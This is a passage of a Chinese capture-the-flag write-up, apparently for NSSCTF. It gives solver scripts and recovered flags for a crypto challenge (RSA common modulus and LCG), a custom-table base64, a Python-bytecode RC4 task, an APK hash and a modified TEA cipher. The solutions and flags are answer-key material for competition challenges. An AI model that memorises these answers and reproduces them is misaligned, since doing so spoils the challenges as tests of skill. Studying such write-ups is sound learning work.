c1 = 132894829064255831243210470637067717685821770359549730768366345840525257033166172926149293454192143005551270166547902269036843756318967855047301751521125394803373953151753927497701242767032542708689455184991906629946511295108898559666019232955132938245031352553261823905498810285940911315433144300083027795647
c2 = 24086830909813702968855830967174364278115647345064163689290457852025690324300607354444884288995399344650789235347773145941872226843099538451759854505842021844881825309790171852845467221751852440178862638893185965125776165397575087879479327323737686652198357863042305078811580074617322063509435591981140533310
def eeccn(e1,e2,c1,c2,n):
g, x1, x2 = gcdext(e1,e2)
return pow(c1,x1,n)*pow(c2,x2,n) % n
a = eeccn(e1,e2,c1,c2,n)
#a = 6916067937269950974206746204164509896240838110131015886297814490101615527867219160040558623231859474391279572961225727366045095864405799615600246029206211
再用lcg的两个值求因子b
#o2 = a*o1 + b mod n
output1 = 54997286032365904331111467760366122947903752273328087460831713533712307510311367648330090376100815622160705007873798883153287827481112070182047111994066594911019010222064952859306742931009422376955635523160546531204043294436812066746785938062292942759004837173423765427628610568097898331237064396308950601636
output2 = 115015764780168428067411132384122324817310808727138440691727747976276050930701648349452842302609389394467134068064132550313721128807222231505312226682756817617177620169804112319332815872107656884931985435898097063491690413460967856530075292289784649593915313885813931026280791070577034075346669028068003251024
b = (output2 - a*output1)%n
long_to_bytes(b)
#NSSCTF{407f8832-6ffd-43bf-91a0-6900758cdff7}
REV
MyBASE
从主函数看就是个base64
void test()
{
size_t v0; // [rsp+158h] [rbp+D8h] BYREF
char Str[312]; // [rsp+160h] [rbp+E0h] BYREF
char *Str2; // [rsp+298h] [rbp+218h]
unsigned __int64 v3; // [rsp+2A0h] [rbp+220h]
int i; // [rsp+2ACh] [rbp+22Ch]
puts("Please input your flag:");
scanf("%s", Str);
v3 = strlen(Str);
Str2 = base64_encode((__int64)Str, v3, &v0);
for ( i = 0; i < v0; ++i )
;
if ( !strcmp("YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g", Str2) )
printf("success!");
else
printf("error!");
free(Str2);
}
然后进到base64_encode里,发现有些变化,在1的位置这3个字符取的位置跟正常的相反
第2个是在每处理完3个字符后会进行exception_handler()
跟进后发现在这里会对base64的表进行变化,通过随机数,随机种子是上一个表的第1个字符(入口参数是字符型,所以只将第1个字符作种子)。
有这个流程就可以逆了,总体来看不很很复杂
from pwn import u32
from ctypes import *
clibc = cdll.LoadLibrary("msvcrt.dll")
enc = b'YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g'
tab = b'+86420ywusqomkigecaYWUSQOMKIGECABDFHJLNPRTVXZbdfhjlnprtvxz13579/'
flag = b''
for i in range(0,len(enc),4):
v = [tab.index(enc[i+j]) for j in range(4)]
k3 = ((v[1]&3)<<6) + v[0]
k2 = ((v[2]&0xf)<<4) + (v[1]>>2)
k1 = (v[3]<<2)|(v[2]>>4)
flag += bytes([k1,k2,k3])
#change tab
seed = tab[0] #取第1个字符为种子
clibc.srand(seed)
ttab = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
v = [_ for _ in ttab]
for j in range(63,0,-1):
v3 = clibc.rand()
v[v3%(j+1)],v[j] = v[j],v[v3%(j+1)]
tab = bytes(v)
print(flag, tab)
print(flag)
#NSSCTF{Welc0me_T0_Re_World}
Bytecode
这个给的是python的字节码,手工翻译,大意是这样
from base64 import *
import string
#引入函数 check,init,fun,encrypt1,encrypt2,encrypt
if __name__ == '__main__':
key = input('Please input your key:')
if check(key) == 1:
print('Right')
msg = input('Please input your message:')
box = init(key)
encode = encrypt(msg,box)
#73 62 63 fd 11 81 64 1c 52 02 f8 3e a6 2e 46 8c 47 23 12 e5 3a a7 23 50 53 69 92 9d e4 32 b6 d2 66 36 8d fd d6 44 2b 08 71 e3 08 0a
string1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL'
encode = translate(maketrans(string1,string2), b64encode(encode.encode()))
if encode == 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB='
print('Congraduation!You get the right flag!')
else:
print('Wrong!')
print('Wrong')
exit()
def check(key):
x = (...fake...)
if len(key) != len(x):
print()
for i in range(len(key)):
if x[i] != ord(key[i])^i:
xxx
def init():
s_box = range(256)
j = 0
for i in range(256):
j = s_box[i]+j + ord(key[i%len(key)])
s_box[i],sbox[j] = s_box[j],s_box[i]
return s_box
def fun(msg):
key = "Just kidding, don't take it personally!"
x = []
for i in range(len(msg)):
x.append(ord(msg[i]) ^ ord(key[i%len(key)]))
x.pop()
#60 POP_TOP
for i in range(len(x)):
x[i]^=i
def encrypt1(msg):
x = []
i = 0
j = 0
for k in range(len(msg)):
i = (i+1)%256
j = (s_box[i] + j)%256
s_box[i],s_box[j] = s_box[j],s_box[i]
t = (s_box[i] + s_box[j])%256
x.append(s_box[t]^ord(msg[k]))
return x
def encrypt2():
x = []
i = 0
j = 0
for k in range(len(msg)):
i = (i+1)%256
j = (s_box[i] + j)%256
s_box[i],s_box[j] = s_box[j],s_box[i]
t = (s_box[i] + s_box[j])%256
x.append(s_box[t]^ord(msg[k]))
return x
def encrypt(msg):
x = []
i = 0
j = 0
for k in range(len(msg)):
i = (i+1)%256
j = (s_box[i] + j)%256
s_box[i],s_box[j] = s_box[j],s_box[i]
t = (s_box[i] + s_box[j])%256
x.append(s_box[t]^ord(msg[k]))
return x
只要翻译过来基本都能看明白了。最后有个小坑,得到的不是flag需要再作个序号+1的异或。
def init(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (s_box[i]+j + ord(key[i%len(key)]) )%256
s_box[i],s_box[j] = s_box[j],s_box[i]
return s_box
key = "Just kidding, don't take it personally!"
tk = [78, 82, 81, 64, 80, 67, 125, 83, 96, 56, 121, 84, 61, 126, 81, 79, 79, 119, 38, 120, 39, 74, 112, 38, 44, 126, 103]
key = bytes([i^v for i,v in enumerate(tk)]).decode()
box = init(key)
print(box)
def encrypt(msg,s_box):
x = []
i = 0
j = 0
for k in range(len(msg)):
i = (i+1)%256
j = (s_box[i] + j)%256
s_box[i],s_box[j] = s_box[j],s_box[i]
t = (s_box[i] + s_box[j])%256
x.append(s_box[t]^msg[k])
return x
msg = bytes.fromhex('736263fd1181641c5202f83ea62e468c472312e53aa723505369929de432b6d266368dfdd6442b0871e3080a')
m = encrypt(msg,box)
print(bytes(m))
#b'OQPGQ@|mmk9<il9="qur8 &*,7}*~\x7f2\x11@\x13\x16\x11GB\x14\x1a\x10\x18H'
print(bytes([(i+1)^v for i,v in enumerate(m)]))
#b'NSSCTF{eda20db6-3cff-6125-f6ca-1a155bd3292c}'
MyAPK
这题有个坑,由于不会动调,结果坑里没出来。与WP对照才弄明白。
APK用jadx打开可以看到代码。只要等到时间是66.666s,按下就会得到flag,所以理所当然是把代码扒下来自己运行。但是不对。
后来才知道怎么回事。
在红箭头的位置,把一个double转整形。但这里反编译的不准确,应该是先转long再转整,不然后会有偏差。
而且结果是hash值,所以哪个都看着差不多,只有提交才提示错。
直接拿代码编译运行即可。
class r2{
public static String getit(String input) {
int i;
int messageLength;
byte[] message;
int g;
int messageLength2;
int f;
int[] T = new int[64];
for (int i2 = 0; i2 < 64; i2++) {
//对Math.abs(...)*4.... 需要先转long再取int
T[i2] = (int)((long)(Math.abs(Math.sin(i2 + 1)) * 4.294967296E9d));
}
byte[] message2 = input.getBytes();
int d = message2.length;
int numBlocks = ((d + 8) >>> 6) + 1;
int totalLength = numBlocks << 6;
byte[] paddedMessage = new byte[totalLength];
System.arraycopy(message2, 0, paddedMessage, 0, d);
paddedMessage[d] = Byte.MIN_VALUE;
long messageBits = d * 8;
int i3 = 0;
while (true) {
i = 8;
if (i3 >= 8) {
break;
}
paddedMessage[(totalLength - 8) + i3] = (byte) (messageBits >>> (i3 * 8));
i3++;
}
int[] state = {-1732584194, -271733879, 271733878, 1732584193};
int i4 = 0;
while (i4 < numBlocks) {
int[] block = new int[16];
for (int j = 0; j < 16; j++) {
int index = (i4 << 6) + (j << 2);
block[j] = (paddedMessage[index] & 255) | ((paddedMessage[index + 1] & 255) << i) | ((paddedMessage[index + 2] & 255) << 16) | ((paddedMessage[index + 3] & 255) << 24);
}
int a = state[0];
int b = state[1];
int c = state[2];
int j2 = 0;
int d2 = state[3];
while (j2 < 64) {
if (j2 < 16) {
message = message2;
messageLength = d;
messageLength2 = d2;
f = ((~b) & messageLength2) | (b & c);
g = j2;
} else {
message = message2;
messageLength = d;
messageLength2 = d2;
if (j2 < 32) {
f = (messageLength2 & b) | ((~messageLength2) & c);
g = ((j2 * 5) + 1) % 16;
} else if (j2 < 48) {
f = (b ^ c) ^ messageLength2;
g = ((j2 * 3) + 5) % 16;
} else {
f = ((~messageLength2) | b) ^ c;
g = (j2 * 7) % 16;
}
}
int temp = messageLength2;
int d3 = c;
c = b;
b += Integer.rotateLeft(a + f + block[g] + T[j2], 7);
a = temp;
j2++;
d2 = d3;
message2 = message;
d = messageLength;
T = T;
block = block;
}
int messageLength3 = d;
int messageLength4 = d2;
state[0] = state[0] + a;
state[1] = state[1] + b;
state[2] = state[2] + c;
state[3] = state[3] + messageLength4;
i4++;
d = messageLength3;
T = T;
i = 8;
}
byte[] hash = new byte[16];
for (int i5 = 0; i5 < 4; i5++) {
hash[i5 * 4] = (byte) (state[i5] & 255);
hash[(i5 * 4) + 1] = (byte) ((state[i5] >>> 8) & 255);
hash[(i5 * 4) + 2] = (byte) ((state[i5] >>> 16) & 255);
hash[(i5 * 4) + 3] = (byte) ((state[i5] >>> 24) & 255);
}
StringBuilder sb = new StringBuilder();
for (int i6 = 0; i6 < hash.length; i6++) {
sb.append(String.format("%02x", Integer.valueOf(hash[i6] & 255)));
}
System.out.println(sb.toString());
return sb.toString();
}
public static void main(String[] args) {
String my = "66.666s";
System.out.println(getit(my));
}
}
//NSSCTF{1a74ee530fafa690dcddd0ce38260755}
Tea or XTtea
这个也是差一点
这是一个经过混淆的代码,不过很短手工可以恢复
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // ecx
__pid_t v6; // eax
int v7; // ecx
int v8; // eax
size_t v9; // rax
int v10; // ecx
int v11; // edx
int v12; // esi
int v13; // eax
size_t v14; // rax
int v15; // ecx
int v16; // edx
int v17; // esi
int v18; // eax
int v19; // eax
int v20; // eax
int v21; // eax
int v23; // [rsp+ECh] [rbp-24h]
int v24; // [rsp+F0h] [rbp-20h]
int v25; // [rsp+F4h] [rbp-1Ch]
int v26; // [rsp+F8h] [rbp-18h]
int v27; // [rsp+FCh] [rbp-14h]
int v28; // [rsp+100h] [rbp-10h]
size_t v29; // [rsp+108h] [rbp-8h]
before_main();
printf(aNoOneTraceMe, argv);
puts("Please input your flag:");
scanf("%s", input);
v29 = strlen((const char *)(unsigned int)input);
v23 = 1801919288;
while ( 1 )
{
while ( 1 )
{
while ( v23 == -1827964049 )
{
p = (__int64)&input[v28];
v11 = *(_DWORD *)&input[v28];
v12 = cd++;
flag[v12] = v11;
v23 = 1580933206;
}
if ( v23 != -1712856092 )
break;
v28 = 0;
v23 = 904879898;
close(dword_404138);
}
if ( v23 == -1700936880 )
break;
switch ( v23 )
{
case -1599979081:
v19 = -1126838779; // 加密偶部分
if ( v24 < 10 )
v19 = 373420789;
v23 = v19;
break;
case -1590649948:
v13 = -864600155;
if ( v27 < 10 )
v13 = 601686237;
v23 = v13;
break;
case -1371351848:
p = (__int64)&input[v26]; // 写4字节到flag
v16 = *(_DWORD *)&input[v26];
v17 = cd++;
flag[v17] = v16;
v23 = 1181823979;
break;
case -1225256530:
v27 += 2;
v23 = -1590649948;
break;
case -1126838779:
v21 = 194163193; // 20第3部分
if ( k )
v21 = 528867005; // 20。1
v23 = v21;
break;
case -1116901551:
v27 = 0;
v23 = -1590649948;
break;
case -1063953602:
v23 = 250224098; // 偶部分下一步
break;
case -864600155:
close(fd[0]);
_exit(0);
case -378067225:
close(dword_404138); // over
wait(0LL);
exit(0);
case -166712886:
v18 = 1520935878; // 10,加密前后部分
if ( v25 < 5 )
v18 = 1905508328;
v23 = v18;
break;
case 31730073:
k = 0;
v23 = -1063953602;
break;
case 56367258: // 4,检查pid
v8 = 2123706874;
if ( !pid )
v8 = -1712856092;
v23 = v8;
break;
case 194163193:
v23 = -378067225;
puts("You are wrong!!!");
break;
case 250224098:
++v24;
v23 = -1599979081; // 偶部分++
break;
case 258672972: // 3,fork进程
v6 = fork();
v7 = 56367258;
pid = v6;
if ( v6 == -1 )
v7 = 1299675875;
v23 = v7;
break;
case 355734949:
k = 0;
v23 = 845159230;
break;
case 373420789:
v20 = -1063953602;
if ( flag[v24] != enc1[v24] ) // 偶部分比较
v20 = 31730073;
v23 = v20;
break;
case 528867005:
v23 = -378067225;
puts("You are right!!!");
break;
case 601686237:
encode_1((unsigned int *)&flag[v27], &key2);
v23 = -1225256530;
break;
case 845159230: // 2,打开管道
v4 = pipe(fd);
v5 = 258672972;
if ( v4 == -1 )
v5 = -1700936880;
v23 = v5;
break;
case 904879898:
v9 = strlen((const char *)(unsigned int)input);
v10 = -1116901551;
if ( v28 < v9 )
v10 = -1827964049;
v23 = v10;
break;
case 1181823979: // 7,+=4
v26 += 4;
v23 = 1775879993;
break;
case 1285116999: // 12
++v25;
v23 = -166712886;
break;
case 1299675875:
exit(1);
case 1520935878: // 21,
v24 = 0;
v23 = -1599979081;
break;
case 1580933206:
v28 += 4;
v23 = 904879898;
break;
case 1775879993: // 5,取长度 while循环检查
v14 = strlen((const char *)(unsigned int)input);
v15 = 1962670163;
if ( v26 < v14 )
v15 = -1371351848;
v23 = v15;
break;
case 1801919288: // 长度检查 40
v3 = 845159230;
if ( v29 != 40 )
v3 = 355734949;
v23 = v3;
break;
case 1905508328:
encode_2((unsigned int *)&flag[2 * v25], &key1);// 11,加密前部分
v23 = 1285116999;
break;
case 1962670163: // jmp
v25 = 0;
v23 = -166712886;
break;
default:
puts("this is father");
v26 = 0;
v23 = 1775879993;
close(fd[0]);
break;
}
}
perror("pipe");
exit(1);
}
按照运行顺序一段段理出来,应该是执行decrypt2,用key1
这个decrypto2是个魔改的Tea,已经像咖啡了
__int64 __fastcall encode_2(unsigned int *a1, unsigned int *key)
{
int v2; // eax
__int64 result; // rax
int i; // [rsp+14h] [rbp-28h]
unsigned int v5; // [rsp+1Ch] [rbp-20h]
unsigned int v6; // [rsp+20h] [rbp-1Ch]
unsigned int v7; // [rsp+24h] [rbp-18h]
unsigned int v8; // [rsp+28h] [rbp-14h]
v8 = *a1;
v7 = a1[1];
v6 = 0xC6EF3720;
v5 = 0;
for ( i = 0x97FDC462; ; i = 0x97FDC462 )
{
while ( 1 )
{
while ( i == 0x8480D1BC )
{
v6 -= 0x61C88647;
v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));
v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));
i = 0x4E2F6F4;
}
if ( i != 0x97FDC462 )
break;
v2 = 0x304E1762;
if ( v5 < 0x20 )
v2 = 0x8480D1BC;
i = v2;
}
if ( i != 0x4E2F6F4 )
break;
++v5;
}
*a1 = v8;
result = v7;
a1[1] = v7;
return result;
}
关键问题是这个Tea一般是4组key但这里用的&4只用0和4,一直猜用的是几。其实都不对,用的就是0和4(4是个0)
from pwn import u32,p32
from ctypes import *
# v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));
# v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));
def decrypt2(v, k):
v0, v1 = c_uint32(v[0]), c_uint32(v[1])
delta = 0x9e3779b9
#k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
total = c_uint32(delta * 32 + 0xC6EF3720)
for i in range(32):
#v1.value -= ((v0.value<<4) + k2) ^ (v0.value + total.value) ^ ((v0.value>>5) + k3)
#v0.value -= ((v1.value<<4) + k0) ^ (v1.value + total.value) ^ ((v1.value>>5) + k1)
v1.value -= (k[(total.value)&4] + total.value)^(v0.value + ((v0.value>>3)^(v0.value<<4)))
v0.value -= (k[(total.value>>2)&4] + total.value)^(v1.value + ((v1.value>>3)^(v1.value<<4)))
total.value -= delta
return v0.value, v1.value
key1 = [0x21,0x37,0x4d,0x63,0]
enc = bytes.fromhex('70641578EA8F3FA0CA83549A39A609D65B34900F200B30126A0DD03815C2F8C3C9022D84FB1ACF56')
enc = [u32(enc[i*4:i*4+4]) for i in range(10)]
#print([hex(i) for i in enc])
flag = b''
for i in range(0,10,2):
v0,v1 = enc[i],enc[i+1]
v0,v1 = decrypt2([v0,v1], key1)
flag += p32(v0)+p32(v1)
print(flag)
#flag{tea_or_xtea_you_should_choose_one!}
写完睡觉,最后一个file_encrypt看了WP但没看题,就不看了。